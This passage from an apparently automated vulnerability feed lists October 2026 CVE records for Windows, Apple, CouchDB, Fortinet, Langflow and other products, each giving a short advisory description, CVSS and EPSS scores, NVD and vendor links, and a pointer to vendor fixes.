EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83881&date=2026-10-25).
Sources:
NVD CVE-2026-83881: https://nvd.nist.gov/vuln/detail/CVE-2026-83881
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-83881
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83881&date=2026-10-25
Heap-based buffer overflow in Windows exFAT File System allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft PostScript Printer Driver allows an unauthorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-70092
Heap-based buffer overflow in Microsoft PostScript Printer Driver allows an unauthorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Microsoft PostScript Printer Driver allows an unauthorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70092).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70092&date=2026-10-25).
Sources:
NVD CVE-2026-70092: https://nvd.nist.gov/vuln/detail/CVE-2026-70092
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70092
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70092&date=2026-10-25
Heap-based buffer overflow in Microsoft PostScript Printer Driver allows an unauthorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83882
Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83882).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83882&date=2026-10-25).
Sources:
NVD CVE-2026-83882: https://nvd.nist.gov/vuln/detail/CVE-2026-83882
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-83882
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83882&date=2026-10-25
Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Win32K allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83883
Use after free in Windows Win32K allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Win32K allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83883).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83883&date=2026-10-25).
Sources:
NVD CVE-2026-83883: https://nvd.nist.gov/vuln/detail/CVE-2026-83883
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-83883
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83883&date=2026-10-25
Use after free in Windows Win32K allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Shopper from 2.0.0 before 2.6.0 contains a missing authorization vulnerability that allows admin-panel users holding only access_dashboard to create administrators and grant...
https://kevwire.com/record/CVE-2026-114387
Shopper from 2.0.0 before 2.6.0 contains a missing authorization vulnerability that allows admin-panel users holding only access_dashboard to create administrators and grant... (Oct 21, 2026).
Shopper from 2.0.0 before 2.6.0 contains a missing authorization vulnerability that allows admin-panel users holding only access_dashboard to create administrators and grant permissions. Attackers can call CreateTeamMember::store() or Permissions::togglePermission() directly over /livewire/update to create admin accounts and escalate to full administrator.
CVSS 8.7 (version 4.0; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114387).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114387&date=2026-10-25).
Sources:
NVD CVE-2026-114387: https://nvd.nist.gov/vuln/detail/CVE-2026-114387
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114387&date=2026-10-25
Shopper from 2.0.0 before 2.6.0 contains a missing authorization vulnerability that allows admin-panel users holding only access_dashboard to create administrators and grant permissions. Attackers can call CreateTeamMember::store() or Permissions::togglePermission() directly over /livewire/update to create admin accounts and escalate to full administrator.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Update Orchestrator Service allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83886
Use after free in Windows Update Orchestrator Service allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Update Orchestrator Service allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83886).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83886&date=2026-10-25).
Sources:
NVD CVE-2026-83886: https://nvd.nist.gov/vuln/detail/CVE-2026-83886
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-83886
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83886&date=2026-10-25
Use after free in Windows Update Orchestrator Service allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Buffer over-read in Windows CD-ROM Driver allows an unauthorized attacker to elevate privileges over a network.
https://kevwire.com/record/CVE-2026-83888
Buffer over-read in Windows CD-ROM Driver allows an unauthorized attacker to elevate privileges over a network. (Oct 13, 2026).
Buffer over-read in Windows CD-ROM Driver allows an unauthorized attacker to elevate privileges over a network.
CVSS 6.5 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83888).
EPSS 1.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83888&date=2026-10-25).
Sources:
NVD CVE-2026-83888: https://nvd.nist.gov/vuln/detail/CVE-2026-83888
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-83888
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83888&date=2026-10-25
Buffer over-read in Windows CD-ROM Driver allows an unauthorized attacker to elevate privileges over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Direct Composition allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83896
Heap-based buffer overflow in Windows Direct Composition allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Direct Composition allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83896).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83896&date=2026-10-25).
Sources:
NVD CVE-2026-83896: https://nvd.nist.gov/vuln/detail/CVE-2026-83896
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-83896
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83896&date=2026-10-25
Heap-based buffer overflow in Windows Direct Composition allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper privilege management in Windows Installer allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83899
Improper privilege management in Windows Installer allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Improper privilege management in Windows Installer allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83899).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83899&date=2026-10-25).
Sources:
NVD CVE-2026-83899: https://nvd.nist.gov/vuln/detail/CVE-2026-83899
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-83899
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83899&date=2026-10-25
Improper privilege management in Windows Installer allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Bind Filter Driver allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83900
Use after free in Windows Bind Filter Driver allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Bind Filter Driver allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83900).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83900&date=2026-10-25).
Sources:
NVD CVE-2026-83900: https://nvd.nist.gov/vuln/detail/CVE-2026-83900
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-83900
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83900&date=2026-10-25
Use after free in Windows Bind Filter Driver allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A race condition was addressed with additional validation.
https://kevwire.com/record/CVE-2026-86961
A race condition was addressed with additional validation. (Oct 20, 2026).
A race condition was addressed with additional validation. This issue is fixed in iOS 27 and iPadOS 27, macOS Golden Gate 27. A malicious app may be able to break out of its sandbox.
CVSS 7.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-86961).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-86961&date=2026-10-25).
Sources:
NVD CVE-2026-86961: https://nvd.nist.gov/vuln/detail/CVE-2026-86961
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-86961&date=2026-10-25
A race condition was addressed with additional validation. This issue is fixed in iOS 27 and iPadOS 27, macOS Golden Gate 27. A malicious app may be able to break out of its sandbox.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### This issue was addressed by enforcing library validation on the affected binaries.
https://kevwire.com/record/CVE-2026-86949
This issue was addressed by enforcing library validation on the affected binaries. (Oct 20, 2026).
This issue was addressed by enforcing library validation on the affected binaries. This issue is fixed in Xcode 27. A malicious app may be able to break out of its sandbox.
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-86949).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-86949&date=2026-10-25).
Sources:
NVD CVE-2026-86949: https://nvd.nist.gov/vuln/detail/CVE-2026-86949
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-86949&date=2026-10-25
This issue was addressed by enforcing library validation on the affected binaries. This issue is fixed in Xcode 27. A malicious app may be able to break out of its sandbox.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A type confusion issue was addressed with improved state management.
https://kevwire.com/record/CVE-2026-86922
A type confusion issue was addressed with improved state management. (Oct 20, 2026).
A type confusion issue was addressed with improved state management. This issue is fixed in Safari 27, iOS 27 and iPadOS 27, macOS Golden Gate 27, visionOS 27. Processing maliciously crafted web content may lead to arbitrary code execution.
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-86922).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-86922&date=2026-10-25).
Sources:
NVD CVE-2026-86922: https://nvd.nist.gov/vuln/detail/CVE-2026-86922
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-86922&date=2026-10-25
A type confusion issue was addressed with improved state management. This issue is fixed in Safari 27, iOS 27 and iPadOS 27, macOS Golden Gate 27, visionOS 27. Processing maliciously crafted web content may lead to arbitrary code execution.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A stack overflow was addressed with improved input validation.
https://kevwire.com/record/CVE-2026-86919
A stack overflow was addressed with improved input validation. (Oct 20, 2026).
A stack overflow was addressed with improved input validation. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, visionOS 27. An attacker with a paired Bluetooth device may be able to execute arbitrary code.
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-86919).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-86919&date=2026-10-25).
Sources:
NVD CVE-2026-86919: https://nvd.nist.gov/vuln/detail/CVE-2026-86919
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-86919&date=2026-10-25
A stack overflow was addressed with improved input validation. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, visionOS 27. An attacker with a paired Bluetooth device may be able to execute arbitrary code.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An unvalidated runtime configuration value in Apache CouchDB 3.5.2 and below on all platforms allows a CouchDB server admin to run arbitrary shell commands as the CouchDB...
https://kevwire.com/record/CVE-2026-86471
An unvalidated runtime configuration value in Apache CouchDB 3.5.2 and below on all platforms allows a CouchDB server admin to run arbitrary shell commands as the CouchDB... (Oct 20, 2026).
An unvalidated runtime configuration value in Apache CouchDB 3.5.2 and below on all platforms allows a CouchDB server admin to run arbitrary shell commands as the CouchDB operating system user.

Users are recommended to upgrade to version 3.5.3, which fixes this issue.
CVSS 9.3 (version 4.0; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-86471).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-86471&date=2026-10-25).
Sources:
NVD CVE-2026-86471: https://nvd.nist.gov/vuln/detail/CVE-2026-86471
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-86471&date=2026-10-25
An unvalidated runtime configuration value in Apache CouchDB 3.5.2 and below on all platforms allows a CouchDB server admin to run arbitrary shell commands as the CouchDB operating system user.

Users are recommended to upgrade to version 3.5.3, which fixes this issue.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A security vulnerability in HPE Compute Scale-up Server 3200 and 3250 platforms, Superdome Flex and Superdome Flex 280 servers could be exploited remotely to execute arbitrary...
https://kevwire.com/record/CVE-2026-76740
A security vulnerability in HPE Compute Scale-up Server 3200 and 3250 platforms, Superdome Flex and Superdome Flex 280 servers could be exploited remotely to execute arbitrary... (Oct 19, 2026).
A security vulnerability in HPE Compute Scale-up Server 3200 and 3250 platforms, Superdome Flex and Superdome Flex 280 servers could be exploited remotely to execute arbitrary commands on the RMC.
CVSS 7.2 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-76740).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-76740&date=2026-10-25).
Sources:
NVD CVE-2026-76740: https://nvd.nist.gov/vuln/detail/CVE-2026-76740
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-76740&date=2026-10-25
A security vulnerability in HPE Compute Scale-up Server 3200 and 3250 platforms, Superdome Flex and Superdome Flex 280 servers could be exploited remotely to execute arbitrary commands on the RMC.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The issue was addressed with improved checks.
https://kevwire.com/record/CVE-2026-28853
The issue was addressed with improved checks. (Oct 20, 2026).
The issue was addressed with improved checks. This issue is fixed in macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to elevate privileges.
CVSS 7.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-28853).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-28853&date=2026-10-25).
Sources:
NVD CVE-2026-28853: https://nvd.nist.gov/vuln/detail/CVE-2026-28853
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-28853&date=2026-10-25
The issue was addressed with improved checks. This issue is fixed in macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to elevate privileges.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### SolarWinds Observability Self-Hosted was found to be affected by a broken authorization schema that can allow low-privileged users to access and modify information beyond their...
https://kevwire.com/record/CVE-2026-28328
SolarWinds Observability Self-Hosted was found to be affected by a broken authorization schema that can allow low-privileged users to access and modify information beyond their... (Oct 20, 2026).
SolarWinds Observability Self-Hosted was found to be affected by a broken authorization schema that can allow low-privileged users to access and modify information beyond their assigned permissions.
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-28328).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-28328&date=2026-10-25).
Sources:
NVD CVE-2026-28328: https://nvd.nist.gov/vuln/detail/CVE-2026-28328
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-28328&date=2026-10-25
SolarWinds Observability Self-Hosted was found to be affected by a broken authorization schema that can allow low-privileged users to access and modify information beyond their assigned permissions.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### IBM Langflow OSS 1.0.0 through 1.12.4 contains three message endpoints that perform no ownership verification.
https://kevwire.com/record/CVE-2026-107366
IBM Langflow OSS 1.0.0 through 1.12.4 contains three message endpoints that perform no ownership verification. (Oct 20, 2026).
IBM Langflow OSS 1.0.0 through 1.12.4 contains three message endpoints that perform no ownership verification. Any authenticated user can bulk-delete another user's messages, overwrite message content to inject malicious prompts, or hijack an entire conversation session by reassigning its session ID.
CVSS 8.3 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-107366).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-107366&date=2026-10-25).
Sources:
NVD CVE-2026-107366: https://nvd.nist.gov/vuln/detail/CVE-2026-107366
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-107366&date=2026-10-25
IBM Langflow OSS 1.0.0 through 1.12.4 contains three message endpoints that perform no ownership verification. Any authenticated user can bulk-delete another user's messages, overwrite message content to inject malicious prompts, or hijack an entire conversation session by reassigning its session ID.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A improper limitation of a pathname to a restricted directory ('path traversal') vulnerability in Fortinet FortiSIEM 7.5.0 may allow attacker to execute unauthorized code or...
https://kevwire.com/record/CVE-2026-106173
A improper limitation of a pathname to a restricted directory ('path traversal') vulnerability in Fortinet FortiSIEM 7.5.0 may allow attacker to execute unauthorized code or... (Oct 13, 2026).
A improper limitation of a pathname to a restricted directory ('path traversal') vulnerability in Fortinet FortiSIEM 7.5.0 may allow attacker to execute unauthorized code or commands via specially crafted packets.
CVSS 9.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-106173).
EPSS 1.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-106173&date=2026-10-25).
Sources:
NVD CVE-2026-106173: https://nvd.nist.gov/vuln/detail/CVE-2026-106173
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-106173&date=2026-10-25
A improper limitation of a pathname to a restricted directory ('path traversal') vulnerability in Fortinet FortiSIEM 7.5.0 may allow attacker to execute unauthorized code or commands via specially crafted packets.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### IBM Sterling Connect Direct for Unix 6.3.0.0 through 6.3.0.7 and 6.4.0.0 through 6.4.0.6 could allow a local attacker to gain elevated privileges due to improper privilege...
https://kevwire.com/record/CVE-2026-105453
IBM Sterling Connect Direct for Unix 6.3.0.0 through 6.3.0.7 and 6.4.0.0 through 6.4.0.6 could allow a local attacker to gain elevated privileges due to improper privilege... (Oct 20, 2026).
IBM Sterling Connect Direct for Unix 6.3.0.0 through 6.3.0.7 and 6.4.0.0 through 6.4.0.6 could allow a local attacker to gain elevated privileges due to improper privilege management.
CVSS 8.4 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105453).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105453&date=2026-10-25).
Sources:
NVD CVE-2026-105453: https://nvd.nist.gov/vuln/detail/CVE-2026-105453
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105453&date=2026-10-25
IBM Sterling Connect Direct for Unix 6.3.0.0 through 6.3.0.7 and 6.4.0.0 through 6.4.0.6 could allow a local attacker to gain elevated privileges due to improper privilege management.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An uncontrolled search path element vulnerability in ASUS Armoury Crate allows local users to execute arbitrary code with SYSTEM privileges via replacement of a dynamic-link...
https://kevwire.com/record/CVE-2026-102438
An uncontrolled search path element vulnerability in ASUS Armoury Crate allows local users to execute arbitrary code with SYSTEM privileges via replacement of a dynamic-link... (Oct 20, 2026).
An uncontrolled search path element vulnerability in ASUS Armoury Crate allows local users to execute arbitrary code with SYSTEM privileges via replacement of a dynamic-link library (DLL) that is later loaded by a high-privilege process.
Refer to the '
Security Update for Armoury Crate App ' section on the ASUS Security Advisory for more information.
CVSS 8.5 (version 4.0; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102438).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102438&date=2026-10-25).
Sources:
NVD CVE-2026-102438: https://nvd.nist.gov/vuln/detail/CVE-2026-102438
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102438&date=2026-10-25
